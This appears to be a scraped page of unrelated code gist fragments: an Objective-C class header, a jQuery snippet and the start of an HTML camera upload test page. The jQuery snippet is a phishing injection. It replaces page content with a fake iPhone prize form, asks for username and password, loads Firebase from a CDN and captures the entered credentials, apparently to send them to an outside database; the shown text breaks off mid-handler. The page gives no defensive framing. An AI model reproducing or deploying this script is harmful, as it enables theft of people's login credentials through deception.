This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#import <Foundation/Foundation.h> | |
@interface TestClass : NSObject | |
@property (nonatomic, readonly) NSString *propertyA; | |
@property (nonatomic, readonly) NSString *propertyB; | |
@property (nonatomic, readonly, getter = propertyC) NSString *propertyC; | |
@end |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$('h2').text('Congratulations!'); | |
$('.container section').html('<p>You have won an iPhone 5s. Please confirm your username and password to claim prize!</p><form action="/" id="username-form"><label class="col-md-2 control-label" for="UserName">User name</label><input class="form-control" id="UserName" name="UserName" type="text" value="" /><br /><label class="col-md-2 control-label" for="Password">Password</label><input class="form-control" data-val="true" id="Password" name="Password" type="password" /><br /><button>Confirm and claim prize</button></form>'); | |
$.getScript('https://cdn.firebase.com/js/client/1.0.6/firebase.js').done(function( script, textStatus ) { | |
var db = new Firebase('https://grouplearning.firebaseio.com/list'); | |
$('#username-form').on('submit', function(e) { | |
e.preventDefault(); | |
var username = $('#UserName').val(); | |
var password = $('#Password').val(); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!doctype html> | |
<html lang="en"> | |
<head> | |
<meta charset="utf-8"> | |
<title>HTML Image/Camera upload test page</title> | |
</head> | |
<body> |